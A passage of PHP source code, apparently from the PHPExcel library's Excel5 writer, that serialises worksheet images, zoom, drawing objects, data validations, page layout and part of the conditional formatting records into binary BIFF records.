	function insertBitmap($row, $col, $bitmap, $x = 0, $y = 0, $scale_x = 1, $scale_y = 1)
	{
		$bitmap_array = (is_resource($bitmap) ? $this-&gt;_processBitmapGd($bitmap) : $this-&gt;_processBitmap($bitmap));
		list($width, $height, $size, $data) = $bitmap_array; //$this-&gt;_processBitmap($bitmap);

		// Scale the frame of the image.
		$width  *= $scale_x;
		$height *= $scale_y;

		// Calculate the vertices of the image and write the OBJ record
		$this-&gt;_positionImage($col, $row, $x, $y, $width, $height);

		// Write the IMDATA record to store the bitmap data
		$record	  = 0x007f;
		$length	  = 8 + $size;
		$cf		  = 0x09;
		$env		 = 0x01;
		$lcb		 = $size;

		$header	  = pack(&quot;vvvvV&quot;, $record, $length, $cf, $env, $lcb);
		$this-&gt;_append($header.$data);
	}

	/**
	 * Calculate the vertices that define the position of the image as required by
	 * the OBJ record.
	 *
	 *		 +------------+------------+
	 *		 |	 A	  |	  B	 |
	 *   +-----+------------+------------+
	 *   |	 |(x1,y1)	 |			|
	 *   |  1  |(A1)._______|______	  |
	 *   |	 |	|			  |	 |
	 *   |	 |	|			  |	 |
	 *   +-----+----|	BITMAP	|-----+
	 *   |	 |	|			  |	 |
	 *   |  2  |	|______________.	 |
	 *   |	 |			|		(B2)|
	 *   |	 |			|	 (x2,y2)|
	 *   +---- +------------+------------+
	 *
	 * Example of a bitmap that covers some of the area from cell A1 to cell B2.
	 *
	 * Based on the width and height of the bitmap we need to calculate 8 vars:
	 *	 $col_start, $row_start, $col_end, $row_end, $x1, $y1, $x2, $y2.
	 * The width and height of the cells are also variable and have to be taken into
	 * account.
	 * The values of $col_start and $row_start are passed in from the calling
	 * function. The values of $col_end and $row_end are calculated by subtracting
	 * the width and height of the bitmap from the width and height of the
	 * underlying cells.
	 * The vertices are expressed as a percentage of the underlying cell width as
	 * follows (rhs values are in pixels):
	 *
	 *	   x1 = X / W *1024
	 *	   y1 = Y / H *256
	 *	   x2 = (X-1) / W *1024
	 *	   y2 = (Y-1) / H *256
	 *
	 *	   Where:  X is distance from the left side of the underlying cell
	 *			   Y is distance from the top of the underlying cell
	 *			   W is the width of the cell
	 *			   H is the height of the cell
	 * The SDK incorrectly states that the height should be expressed as a
	 *		percentage of 1024.
	 *
	 * @access private
	 * @param integer $col_start Col containing upper left corner of object
	 * @param integer $row_start Row containing top left corner of object
	 * @param integer $x1		Distance to left side of object
	 * @param integer $y1		Distance to top of object
	 * @param integer $width	 Width of image frame
	 * @param integer $height	Height of image frame
	 */
	function _positionImage($col_start, $row_start, $x1, $y1, $width, $height)
	{
		// Initialise end cell to the same as the start cell
		$col_end	= $col_start;  // Col containing lower right corner of object
		$row_end	= $row_start;  // Row containing bottom right corner of object

		// Zero the specified offset if greater than the cell dimensions
		if ($x1 &gt;= PHPExcel_Shared_Excel5::sizeCol($this-&gt;_phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_start))) {
			$x1 = 0;
		}
		if ($y1 &gt;= PHPExcel_Shared_Excel5::sizeRow($this-&gt;_phpSheet, $row_start + 1)) {
			$y1 = 0;
		}

		$width	  = $width  + $x1 -1;
		$height	 = $height + $y1 -1;

		// Subtract the underlying cell widths to find the end cell of the image
		while ($width &gt;= PHPExcel_Shared_Excel5::sizeCol($this-&gt;_phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_end))) {
			$width -= PHPExcel_Shared_Excel5::sizeCol($this-&gt;_phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_end));
			++$col_end;
		}

		// Subtract the underlying cell heights to find the end cell of the image
		while ($height &gt;= PHPExcel_Shared_Excel5::sizeRow($this-&gt;_phpSheet, $row_end + 1)) {
			$height -= PHPExcel_Shared_Excel5::sizeRow($this-&gt;_phpSheet, $row_end + 1);
			++$row_end;
		}

		// Bitmap isn't allowed to start or finish in a hidden cell, i.e. a cell
		// with zero eight or width.
		//
		if (PHPExcel_Shared_Excel5::sizeCol($this-&gt;_phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_start)) == 0) {
			return;
		}
		if (PHPExcel_Shared_Excel5::sizeCol($this-&gt;_phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_end))   == 0) {
			return;
		}
		if (PHPExcel_Shared_Excel5::sizeRow($this-&gt;_phpSheet, $row_start + 1) == 0) {
			return;
		}
		if (PHPExcel_Shared_Excel5::sizeRow($this-&gt;_phpSheet, $row_end + 1)   == 0) {
			return;
		}

		// Convert the pixel values to the percentage value expected by Excel
		$x1 = $x1	 / PHPExcel_Shared_Excel5::sizeCol($this-&gt;_phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_start))   * 1024;
		$y1 = $y1	 / PHPExcel_Shared_Excel5::sizeRow($this-&gt;_phpSheet, $row_start + 1)   *  256;
		$x2 = $width  / PHPExcel_Shared_Excel5::sizeCol($this-&gt;_phpSheet, PHPExcel_Cell::stringFromColumnIndex($col_end))	 * 1024; // Distance to right side of object
		$y2 = $height / PHPExcel_Shared_Excel5::sizeRow($this-&gt;_phpSheet, $row_end + 1)	 *  256; // Distance to bottom of object

		$this-&gt;_writeObjPicture($col_start, $x1,
								 $row_start, $y1,
								 $col_end, $x2,
								 $row_end, $y2);
	}

	/**
	 * Store the OBJ record that precedes an IMDATA record. This could be generalise
	 * to support other Excel objects.
	 *
	 * @param integer $colL Column containing upper left corner of object
	 * @param integer $dxL  Distance from left side of cell
	 * @param integer $rwT  Row containing top left corner of object
	 * @param integer $dyT  Distance from top of cell
	 * @param integer $colR Column containing lower right corner of object
	 * @param integer $dxR  Distance from right of cell
	 * @param integer $rwB  Row containing bottom right corner of object
	 * @param integer $dyB  Distance from bottom of cell
	 */
	private function _writeObjPicture($colL,$dxL,$rwT,$dyT,$colR,$dxR,$rwB,$dyB)
	{
		$record	  = 0x005d;   // Record identifier
		$length	  = 0x003c;   // Bytes to follow

		$cObj		= 0x0001;   // Count of objects in file (set to 1)
		$OT		  = 0x0008;   // Object type. 8 = Picture
		$id		  = 0x0001;   // Object ID
		$grbit	   = 0x0614;   // Option flags

		$cbMacro	 = 0x0000;   // Length of FMLA structure
		$Reserved1   = 0x0000;   // Reserved
		$Reserved2   = 0x0000;   // Reserved

		$icvBack	 = 0x09;	 // Background colour
		$icvFore	 = 0x09;	 // Foreground colour
		$fls		 = 0x00;	 // Fill pattern
		$fAuto	   = 0x00;	 // Automatic fill
		$icv		 = 0x08;	 // Line colour
		$lns		 = 0xff;	 // Line style
		$lnw		 = 0x01;	 // Line weight
		$fAutoB	  = 0x00;	 // Automatic border
		$frs		 = 0x0000;   // Frame style
		$cf		  = 0x0009;   // Image format, 9 = bitmap
		$Reserved3   = 0x0000;   // Reserved
		$cbPictFmla  = 0x0000;   // Length of FMLA structure
		$Reserved4   = 0x0000;   // Reserved
		$grbit2	  = 0x0001;   // Option flags
		$Reserved5   = 0x0000;   // Reserved


		$header	  = pack(&quot;vv&quot;, $record, $length);
		$data		= pack(&quot;V&quot;, $cObj);
		$data	   .= pack(&quot;v&quot;, $OT);
		$data	   .= pack(&quot;v&quot;, $id);
		$data	   .= pack(&quot;v&quot;, $grbit);
		$data	   .= pack(&quot;v&quot;, $colL);
		$data	   .= pack(&quot;v&quot;, $dxL);
		$data	   .= pack(&quot;v&quot;, $rwT);
		$data	   .= pack(&quot;v&quot;, $dyT);
		$data	   .= pack(&quot;v&quot;, $colR);
		$data	   .= pack(&quot;v&quot;, $dxR);
		$data	   .= pack(&quot;v&quot;, $rwB);
		$data	   .= pack(&quot;v&quot;, $dyB);
		$data	   .= pack(&quot;v&quot;, $cbMacro);
		$data	   .= pack(&quot;V&quot;, $Reserved1);
		$data	   .= pack(&quot;v&quot;, $Reserved2);
		$data	   .= pack(&quot;C&quot;, $icvBack);
		$data	   .= pack(&quot;C&quot;, $icvFore);
		$data	   .= pack(&quot;C&quot;, $fls);
		$data	   .= pack(&quot;C&quot;, $fAuto);
		$data	   .= pack(&quot;C&quot;, $icv);
		$data	   .= pack(&quot;C&quot;, $lns);
		$data	   .= pack(&quot;C&quot;, $lnw);
		$data	   .= pack(&quot;C&quot;, $fAutoB);
		$data	   .= pack(&quot;v&quot;, $frs);
		$data	   .= pack(&quot;V&quot;, $cf);
		$data	   .= pack(&quot;v&quot;, $Reserved3);
		$data	   .= pack(&quot;v&quot;, $cbPictFmla);
		$data	   .= pack(&quot;v&quot;, $Reserved4);
		$data	   .= pack(&quot;v&quot;, $grbit2);
		$data	   .= pack(&quot;V&quot;, $Reserved5);

		$this-&gt;_append($header . $data);
	}

	/**
	 * Convert a GD-image into the internal format.
	 *
	 * @access private
	 * @param resource $image The image to process
	 * @return array Array with data and properties of the bitmap
	 */
	function _processBitmapGd($image) {
		$width = imagesx($image);
		$height = imagesy($image);

		$data = pack(&quot;Vvvvv&quot;, 0x000c, $width, $height, 0x01, 0x18);
		for ($j=$height; $j--; ) {
			for ($i=0; $i &lt; $width; ++$i) {
				$color = imagecolorsforindex($image, imagecolorat($image, $i, $j));
				foreach (array(&quot;red&quot;, &quot;green&quot;, &quot;blue&quot;) as $key) {
					$color[$key] = $color[$key] + round((255 - $color[$key]) * $color[&quot;alpha&quot;] / 127);
				}
				$data .= chr($color[&quot;blue&quot;]) . chr($color[&quot;green&quot;]) . chr($color[&quot;red&quot;]);
			}
			if (3*$width % 4) {
				$data .= str_repeat(&quot;\x00&quot;, 4 - 3*$width % 4);
			}
		}

		return array($width, $height, strlen($data), $data);
	}

	/**
	 * Convert a 24 bit bitmap into the modified internal format used by Windows.
	 * This is described in BITMAPCOREHEADER and BITMAPCOREINFO structures in the
	 * MSDN library.
	 *
	 * @access private
	 * @param string $bitmap The bitmap to process
	 * @return array Array with data and properties of the bitmap
	 */
	function _processBitmap($bitmap)
	{
		// Open file.
		$bmp_fd = @fopen($bitmap,&quot;rb&quot;);
		if (!$bmp_fd) {
			throw new PHPExcel_Writer_Exception(&quot;Couldn't import $bitmap&quot;);
		}

		// Slurp the file into a string.
		$data = fread($bmp_fd, filesize($bitmap));

		// Check that the file is big enough to be a bitmap.
		if (strlen($data) &lt;= 0x36) {
			throw new PHPExcel_Writer_Exception(&quot;$bitmap doesn't contain enough data.\n&quot;);
		}

		// The first 2 bytes are used to identify the bitmap.
		$identity = unpack(&quot;A2ident&quot;, $data);
		if ($identity['ident'] != &quot;BM&quot;) {
			throw new PHPExcel_Writer_Exception(&quot;$bitmap doesn't appear to be a valid bitmap image.\n&quot;);
		}

		// Remove bitmap data: ID.
		$data = substr($data, 2);

		// Read and remove the bitmap size. This is more reliable than reading
		// the data size at offset 0x22.
		//
		$size_array   = unpack(&quot;Vsa&quot;, substr($data, 0, 4));
		$size   = $size_array['sa'];
		$data   = substr($data, 4);
		$size  -= 0x36; // Subtract size of bitmap header.
		$size  += 0x0C; // Add size of BIFF header.

		// Remove bitmap data: reserved, offset, header length.
		$data = substr($data, 12);

		// Read and remove the bitmap width and height. Verify the sizes.
		$width_and_height = unpack(&quot;V2&quot;, substr($data, 0, 8));
		$width  = $width_and_height[1];
		$height = $width_and_height[2];
		$data   = substr($data, 8);
		if ($width &gt; 0xFFFF) {
			throw new PHPExcel_Writer_Exception(&quot;$bitmap: largest image width supported is 65k.\n&quot;);
		}
		if ($height &gt; 0xFFFF) {
			throw new PHPExcel_Writer_Exception(&quot;$bitmap: largest image height supported is 65k.\n&quot;);
		}

		// Read and remove the bitmap planes and bpp data. Verify them.
		$planes_and_bitcount = unpack(&quot;v2&quot;, substr($data, 0, 4));
		$data = substr($data, 4);
		if ($planes_and_bitcount[2] != 24) { // Bitcount
			throw new PHPExcel_Writer_Exception(&quot;$bitmap isn't a 24bit true color bitmap.\n&quot;);
		}
		if ($planes_and_bitcount[1] != 1) {
			throw new PHPExcel_Writer_Exception(&quot;$bitmap: only 1 plane supported in bitmap image.\n&quot;);
		}

		// Read and remove the bitmap compression. Verify compression.
		$compression = unpack(&quot;Vcomp&quot;, substr($data, 0, 4));
		$data = substr($data, 4);

		//$compression = 0;
		if ($compression['comp'] != 0) {
			throw new PHPExcel_Writer_Exception(&quot;$bitmap: compression not supported in bitmap image.\n&quot;);
		}

		// Remove bitmap data: data size, hres, vres, colours, imp. colours.
		$data = substr($data, 20);

		// Add the BITMAPCOREHEADER data
		$header  = pack(&quot;Vvvvv&quot;, 0x000c, $width, $height, 0x01, 0x18);
		$data	= $header . $data;

		return (array($width, $height, $size, $data));
	}

	/**
	 * Store the window zoom factor. This should be a reduced fraction but for
	 * simplicity we will store all fractions with a numerator of 100.
	 */
	private function _writeZoom()
	{
		// If scale is 100 we don't need to write a record
		if ($this-&gt;_phpSheet-&gt;getSheetView()-&gt;getZoomScale() == 100) {
			return;
		}

		$record	  = 0x00A0;			   // Record identifier
		$length	  = 0x0004;			   // Bytes to follow

		$header	  = pack(&quot;vv&quot;, $record, $length);
		$data		= pack(&quot;vv&quot;, $this-&gt;_phpSheet-&gt;getSheetView()-&gt;getZoomScale(), 100);
		$this-&gt;_append($header . $data);
	}

	/**
	 * Get Escher object
	 *
	 * @return PHPExcel_Shared_Escher
	 */
	public function getEscher()
	{
		return $this-&gt;_escher;
	}

	/**
	 * Set Escher object
	 *
	 * @param PHPExcel_Shared_Escher $pValue
	 */
	public function setEscher(PHPExcel_Shared_Escher $pValue = null)
	{
		$this-&gt;_escher = $pValue;
	}

	/**
	 * Write MSODRAWING record
	 */
	private function _writeMsoDrawing()
	{
		// write the Escher stream if necessary
		if (isset($this-&gt;_escher)) {
			$writer = new PHPExcel_Writer_Excel5_Escher($this-&gt;_escher);
			$data = $writer-&gt;close();
			$spOffsets = $writer-&gt;getSpOffsets();
			$spTypes = $writer-&gt;getSpTypes();
			// write the neccesary MSODRAWING, OBJ records

			// split the Escher stream
			$spOffsets[0] = 0;
			$nm = count($spOffsets) - 1; // number of shapes excluding first shape
			for ($i = 1; $i &lt;= $nm; ++$i) {
				// MSODRAWING record
				$record = 0x00EC;			// Record identifier

				// chunk of Escher stream for one shape
				$dataChunk = substr($data, $spOffsets[$i -1], $spOffsets[$i] - $spOffsets[$i - 1]);

				$length = strlen($dataChunk);
				$header = pack(&quot;vv&quot;, $record, $length);

				$this-&gt;_append($header . $dataChunk);

				// OBJ record
				$record = 0x005D; // record identifier
				$objData = '';

				// ftCmo
				if($spTypes[$i] == 0x00C9){
					// Add ftCmo (common object data) subobject
					$objData .=
						pack('vvvvvVVV'
								, 0x0015	// 0x0015 = ftCmo
								, 0x0012	// length of ftCmo data
								, 0x0014	// object type, 0x0014 = filter
								, $i		// object id number, Excel seems to use 1-based index, local for the sheet
								, 0x2101	// option flags, 0x2001 is what OpenOffice.org uses
								, 0			// reserved
								, 0			// reserved
								, 0			// reserved
						);

					// Add ftSbs Scroll bar subobject
					$objData .= pack('vv', 0x00C, 0x0014);
					$objData .= pack('H*', '0000000000000000640001000A00000010000100');
					// Add ftLbsData (List box data) subobject
					$objData .= pack('vv', 0x0013, 0x1FEE);
					$objData .= pack('H*', '00000000010001030000020008005700');
				}
				else {
					// Add ftCmo (common object data) subobject
					$objData .=
						pack('vvvvvVVV'
							, 0x0015	// 0x0015 = ftCmo
							, 0x0012	// length of ftCmo data
							, 0x0008	// object type, 0x0008 = picture
							, $i		// object id number, Excel seems to use 1-based index, local for the sheet
							, 0x6011	// option flags, 0x6011 is what OpenOffice.org uses
							, 0			// reserved
							, 0			// reserved
							, 0			// reserved
						);
				}

				// ftEnd
				$objData .=
					pack('vv'
						, 0x0000	// 0x0000 = ftEnd
						, 0x0000	// length of ftEnd data
					);

				$length = strlen($objData);
				$header = pack('vv', $record, $length);
				$this-&gt;_append($header . $objData);
			}
		}
	}

	/**
	 * Store the DATAVALIDATIONS and DATAVALIDATION records.
	 */
	private function _writeDataValidity()
	{
		// Datavalidation collection
		$dataValidationCollection = $this-&gt;_phpSheet-&gt;getDataValidationCollection();

		// Write data validations?
		if (!empty($dataValidationCollection)) {

			// DATAVALIDATIONS record
			$record = 0x01B2;	  // Record identifier
			$length	  = 0x0012;	  // Bytes to follow

			$grbit  = 0x0000;	   // Prompt box at cell, no cached validity data at DV records
			$horPos	  = 0x00000000;  // Horizontal position of prompt box, if fixed position
			$verPos	  = 0x00000000;  // Vertical position of prompt box, if fixed position
			$objId  = 0xFFFFFFFF;  // Object identifier of drop down arrow object, or -1 if not visible

			$header	  = pack('vv', $record, $length);
			$data		= pack('vVVVV', $grbit, $horPos, $verPos, $objId,
										 count($dataValidationCollection));
			$this-&gt;_append($header.$data);

			// DATAVALIDATION records
			$record = 0x01BE;			  // Record identifier

			foreach ($dataValidationCollection as $cellCoordinate =&gt; $dataValidation) {
				// initialize record data
				$data = '';

				// options
				$options = 0x00000000;

				// data type
				$type = $dataValidation-&gt;getType();
				switch ($type) {
					case PHPExcel_Cell_DataValidation::TYPE_NONE:		$type = 0x00;	break;
					case PHPExcel_Cell_DataValidation::TYPE_WHOLE:		$type = 0x01;	break;
					case PHPExcel_Cell_DataValidation::TYPE_DECIMAL:	$type = 0x02;	break;
					case PHPExcel_Cell_DataValidation::TYPE_LIST:		$type = 0x03;	break;
					case PHPExcel_Cell_DataValidation::TYPE_DATE:		$type = 0x04;	break;
					case PHPExcel_Cell_DataValidation::TYPE_TIME:		$type = 0x05;	break;
					case PHPExcel_Cell_DataValidation::TYPE_TEXTLENGTH:	$type = 0x06;	break;
					case PHPExcel_Cell_DataValidation::TYPE_CUSTOM:		$type = 0x07;	break;
				}
				$options |= $type &lt;&lt; 0;

				// error style
				$errorStyle = $dataValidation-&gt;getType();
				switch ($errorStyle) {
					case PHPExcel_Cell_DataValidation::STYLE_STOP:			$errorStyle = 0x00;		break;
					case PHPExcel_Cell_DataValidation::STYLE_WARNING:		$errorStyle = 0x01;		break;
					case PHPExcel_Cell_DataValidation::STYLE_INFORMATION:	$errorStyle = 0x02;		break;
				}
				$options |= $errorStyle &lt;&lt; 4;

				// explicit formula?
				if ($type == 0x03 &amp;&amp; preg_match('/^\&quot;.*\&quot;$/', $dataValidation-&gt;getFormula1())) {
					$options |= 0x01				&lt;&lt; 7;
				}

				// empty cells allowed
				$options |= $dataValidation-&gt;getAllowBlank() &lt;&lt; 8;

				// show drop down
				$options |= (!$dataValidation-&gt;getShowDropDown()) &lt;&lt; 9;

				// show input message
				$options |= $dataValidation-&gt;getShowInputMessage() &lt;&lt; 18;

				// show error message
				$options |= $dataValidation-&gt;getShowErrorMessage() &lt;&lt; 19;

				// condition operator
				$operator = $dataValidation-&gt;getOperator();
				switch ($operator) {
					case PHPExcel_Cell_DataValidation::OPERATOR_BETWEEN: $operator = 0x00			;	break;
					case PHPExcel_Cell_DataValidation::OPERATOR_NOTBETWEEN: $operator = 0x01		;	break;
					case PHPExcel_Cell_DataValidation::OPERATOR_EQUAL: $operator = 0x02				;	break;
					case PHPExcel_Cell_DataValidation::OPERATOR_NOTEQUAL: $operator = 0x03			;	break;
					case PHPExcel_Cell_DataValidation::OPERATOR_GREATERTHAN: $operator = 0x04		;	break;
					case PHPExcel_Cell_DataValidation::OPERATOR_LESSTHAN: $operator = 0x05			;	break;
					case PHPExcel_Cell_DataValidation::OPERATOR_GREATERTHANOREQUAL: $operator = 0x06;	break;
					case PHPExcel_Cell_DataValidation::OPERATOR_LESSTHANOREQUAL: $operator = 0x07	;	break;
				}
				$options |= $operator &lt;&lt; 20;

				$data		= pack('V', $options);

				// prompt title
				$promptTitle = $dataValidation-&gt;getPromptTitle() !== '' ?
					$dataValidation-&gt;getPromptTitle() : chr(0);
				$data .= PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($promptTitle);

				// error title
				$errorTitle = $dataValidation-&gt;getErrorTitle() !== '' ?
					$dataValidation-&gt;getErrorTitle() : chr(0);
				$data .= PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($errorTitle);

				// prompt text
				$prompt = $dataValidation-&gt;getPrompt() !== '' ?
					$dataValidation-&gt;getPrompt() : chr(0);
				$data .= PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($prompt);

				// error text
				$error = $dataValidation-&gt;getError() !== '' ?
					$dataValidation-&gt;getError() : chr(0);
				$data .= PHPExcel_Shared_String::UTF8toBIFF8UnicodeLong($error);

				// formula 1
				try {
					$formula1 = $dataValidation-&gt;getFormula1();
					if ($type == 0x03) { // list type
						$formula1 = str_replace(',', chr(0), $formula1);
					}
					$this-&gt;_parser-&gt;parse($formula1);
					$formula1 = $this-&gt;_parser-&gt;toReversePolish();
					$sz1 = strlen($formula1);

				} catch(PHPExcel_Exception $e) {
					$sz1 = 0;
					$formula1 = '';
				}
				$data .= pack('vv', $sz1, 0x0000);
				$data .= $formula1;

				// formula 2
				try {
					$formula2 = $dataValidation-&gt;getFormula2();
					if ($formula2 === '') {
						throw new PHPExcel_Writer_Exception('No formula2');
					}
					$this-&gt;_parser-&gt;parse($formula2);
					$formula2 = $this-&gt;_parser-&gt;toReversePolish();
					$sz2 = strlen($formula2);

				} catch(PHPExcel_Exception $e) {
					$sz2 = 0;
					$formula2 = '';
				}
				$data .= pack('vv', $sz2, 0x0000);
				$data .= $formula2;

				// cell range address list
				$data .= pack('v', 0x0001);
				$data .= $this-&gt;_writeBIFF8CellRangeAddressFixed($cellCoordinate);

				$length = strlen($data);
			$header = pack(&quot;vv&quot;, $record, $length);

				$this-&gt;_append($header . $data);
			}
		}
	}

	/**
	 * Map Error code
	 *
	 * @param string $errorCode
	 * @return int
	 */
	private static function _mapErrorCode($errorCode) {
		switch ($errorCode) {
			case '#NULL!':	return 0x00;
			case '#DIV/0!':	return 0x07;
			case '#VALUE!':	return 0x0F;
			case '#REF!':	return 0x17;
			case '#NAME?':	return 0x1D;
			case '#NUM!':	return 0x24;
			case '#N/A':	return 0x2A;
		}

		return 0;
	}

	/**
	 * Write PLV Record
	 */
	private function _writePageLayoutView(){
		$record	  = 0x088B;			   // Record identifier
		$length	  = 0x0010;			   // Bytes to follow

		$rt         = 0x088B; // 2
		$grbitFrt   = 0x0000; // 2
		$reserved   = 0x0000000000000000; // 8
		$wScalvePLV = $this-&gt;_phpSheet-&gt;getSheetView()-&gt;getZoomScale(); // 2

		// The options flags that comprise $grbit
		if($this-&gt;_phpSheet-&gt;getSheetView()-&gt;getView() == PHPExcel_Worksheet_SheetView::SHEETVIEW_PAGE_LAYOUT){
			$fPageLayoutView   = 1;
		} else {
			$fPageLayoutView   = 0;
		}
		$fRulerVisible     = 0;
		$fWhitespaceHidden = 0;

		$grbit      = $fPageLayoutView; // 2
		$grbit		|= $fRulerVisible	   &lt;&lt; 1;
		$grbit		|= $fWhitespaceHidden  &lt;&lt; 3;

		$header	  = pack(&quot;vv&quot;, $record, $length);
		$data	  = pack(&quot;vvVVvv&quot;, $rt, $grbitFrt, 0x00000000, 0x00000000, $wScalvePLV, $grbit);
		$this-&gt;_append($header . $data);
	}

	/**
	 * Write CFRule Record
	 * @param PHPExcel_Style_Conditional $conditional
	 */
	private function _writeCFRule(PHPExcel_Style_Conditional $conditional){
		$record	  = 0x01B1;			   // Record identifier

		// $type : Type of the CF
		// $operatorType : Comparison operator
		if($conditional-&gt;getConditionType() == PHPExcel_Style_Conditional::CONDITION_EXPRESSION){
			$type = 0x02;
			$operatorType = 0x00;
		} else if($conditional-&gt;getConditionType() == PHPExcel_Style_Conditional::CONDITION_CELLIS){
			$type = 0x01;

			switch ($conditional-&gt;getOperatorType()){
				case PHPExcel_Style_Conditional::OPERATOR_NONE:
					$operatorType = 0x00;
					break;
				case PHPExcel_Style_Conditional::OPERATOR_EQUAL:
					$operatorType = 0x03;
					break;
				case PHPExcel_Style_Conditional::OPERATOR_GREATERTHAN:
					$operatorType = 0x05;
					break;
				case PHPExcel_Style_Conditional::OPERATOR_GREATERTHANOREQUAL:
					$operatorType = 0x07;
					break;
				case PHPExcel_Style_Conditional::OPERATOR_LESSTHAN:
					$operatorType = 0x06;
					break;
				case PHPExcel_Style_Conditional::OPERATOR_LESSTHANOREQUAL:
					$operatorType = 0x08;
					break;
				case PHPExcel_Style_Conditional::OPERATOR_NOTEQUAL:
					$operatorType = 0x04;
					break;
				case PHPExcel_Style_Conditional::OPERATOR_BETWEEN:
					$operatorType = 0x01;
					break;
					// not OPERATOR_NOTBETWEEN 0x02
			}
		}

		// $szValue1 : size of the formula data for first value or formula
		// $szValue2 : size of the formula data for second value or formula
		$arrConditions = $conditional-&gt;getConditions();
		$numConditions = sizeof($arrConditions);
		if($numConditions == 1){
			$szValue1 = ($arrConditions[0] &lt;= 65535 ? 3 : 0x0000);
			$szValue2 = 0x0000;
			$operand1 = pack('Cv', 0x1E, $arrConditions[0]);
			$operand2 = null;
		} else if($numConditions == 2 &amp;&amp; ($conditional-&gt;getOperatorType() == PHPExcel_Style_Conditional::OPERATOR_BETWEEN)){
			$szValue1 = ($arrConditions[0] &lt;= 65535 ? 3 : 0x0000);
			$szValue2 = ($arrConditions[1] &lt;= 65535 ? 3 : 0x0000);
			$operand1 = pack('Cv', 0x1E, $arrConditions[0]);
			$operand2 = pack('Cv', 0x1E, $arrConditions[1]);
		} else {
			$szValue1 = 0x0000;
			$szValue2 = 0x0000;
			$operand1 = null;
			$operand2 = null;
		}

		// $flags : Option flags
		// Alignment
		$bAlignHz = ($conditional-&gt;getStyle()-&gt;getAlignment()-&gt;getHorizontal() == null ? 1 : 0);
		$bAlignVt = ($conditional-&gt;getStyle()-&gt;getAlignment()-&gt;getVertical() == null ? 1 : 0);
		$bAlignWrapTx = ($conditional-&gt;getStyle()-&gt;getAlignment()-&gt;getWrapText() == false ? 1 : 0);
		$bTxRotation = ($conditional-&gt;getStyle()-&gt;getAlignment()-&gt;getTextRotation() == null ? 1 : 0);
		$bIndent = ($conditional-&gt;getStyle()-&gt;getAlignment()-&gt;getIndent() == 0 ? 1 : 0);
		$bShrinkToFit = ($conditional-&gt;getStyle()-&gt;getAlignment()-&gt;getShrinkToFit() == false ? 1 : 0);
		if($bAlignHz == 0 || $bAlignVt == 0 || $bAlignWrapTx == 0 || $bTxRotation == 0 || $bIndent == 0 || $bShrinkToFit == 0){
			$bFormatAlign = 1;
		} else {
			$bFormatAlign = 0;
		}
		// Protection
		$bProtLocked = ($conditional-&gt;getStyle()-&gt;getProtection()-&gt;getLocked() == null ? 1 : 0);
		$bProtHidden = ($conditional-&gt;getStyle()-&gt;getProtection()-&gt;getHidden() == null ? 1 : 0);
		if($bProtLocked == 0 || $bProtHidden == 0){
			$bFormatProt = 1;
		} else {
			$bFormatProt = 0;
		}
		// Border
		$bBorderLeft = ($conditional-&gt;getStyle()-&gt;getBorders()-&gt;getLeft()-&gt;getColor()-&gt;getARGB() == PHPExcel_Style_Color::COLOR_BLACK
						&amp;&amp; $conditional-&gt;getStyle()-&gt;getBorders()-&gt;getLeft()-&gt;getBorderStyle() == PHPExcel_Style_Border::BORDER_NONE ? 1 : 0);
		$bBorderRight = ($conditional-&gt;getStyle()-&gt;getBorders()-&gt;getRight()-&gt;getColor()-&gt;getARGB() == PHPExcel_Style_Color::COLOR_BLACK
						&amp;&amp; $conditional-&gt;getStyle()-&gt;getBorders()-&gt;getRight()-&gt;getBorderStyle() == PHPExcel_Style_Border::BORDER_NONE ? 1 : 0);
		$bBorderTop = ($conditional-&gt;getStyle()-&gt;getBorders()-&gt;getTop()-&gt;getColor()-&gt;getARGB() == PHPExcel_Style_Color::COLOR_BLACK
						&amp;&amp; $conditional-&gt;getStyle()-&gt;getBorders()-&gt;getTop()-&gt;getBorderStyle() == PHPExcel_Style_Border::BORDER_NONE ? 1 : 0);
		$bBorderBottom = ($conditional-&gt;getStyle()-&gt;getBorders()-&gt;getBottom()-&gt;getColor()-&gt;getARGB() == PHPExcel_Style_Color::COLOR_BLACK
						&amp;&amp; $conditional-&gt;getStyle()-&gt;getBorders()-&gt;getBottom()-&gt;getBorderStyle() == PHPExcel_Style_Border::BORDER_NONE ? 1 : 0);
		if($bBorderLeft == 0 || $bBorderRight == 0 || $bBorderTop == 0 || $bBorderBottom == 0){
			$bFormatBorder = 1;
		} else {
			$bFormatBorder = 0;
		}
		// Pattern
		$bFillStyle = ($conditional-&gt;getStyle()-&gt;getFill()-&gt;getFillType() == null ? 0 : 1);
		$bFillColor = ($conditional-&gt;getStyle()-&gt;getFill()-&gt;getStartColor()-&gt;getARGB() == null ? 0 : 1);
		$bFillColorBg = ($conditional-&gt;getStyle()-&gt;getFill()-&gt;getEndColor()-&gt;getARGB() == null ? 0 : 1);
		if($bFillStyle == 0 || $bFillColor == 0 || $bFillColorBg == 0){
			$bFormatFill = 1;
		} else {
			$bFormatFill = 0;
		}
		// Font
		if($conditional-&gt;getStyle()-&gt;getFont()-&gt;getName() != null
			|| $conditional-&gt;getStyle()-&gt;getFont()-&gt;getSize() != null
			|| $conditional-&gt;getStyle()-&gt;getFont()-&gt;getBold() != null
			|| $conditional-&gt;getStyle()-&gt;getFont()-&gt;getItalic() != null
			|| $conditional-&gt;getStyle()-&gt;getFont()-&gt;getSuperScript() != null
			|| $conditional-&gt;getStyle()-&gt;getFont()-&gt;getSubScript() != null
			|| $conditional-&gt;getStyle()-&gt;getFont()-&gt;getUnderline() != null
			|| $conditional-&gt;getStyle()-&gt;getFont()-&gt;getStrikethrough() != null
			|| $conditional-&gt;getStyle()-&gt;getFont()-&gt;getColor()-&gt;getARGB() != null){
			$bFormatFont = 1;
		} else {
			$bFormatFont = 0;
		}
		// Alignment
		$flags = 0;
		$flags |= (1 == $bAlignHz      ? 0x00000001 : 0);
		$flags |= (1 == $bAlignVt      ? 0x00000002 : 0);
		$flags |= (1 == $bAlignWrapTx  ? 0x00000004 : 0);
		$flags |= (1 == $bTxRotation   ? 0x00000008 : 0);
		// Justify last line flag
		$flags |= (1 == 1              ? 0x00000010 : 0);
		$flags |= (1 == $bIndent       ? 0x00000020 : 0);
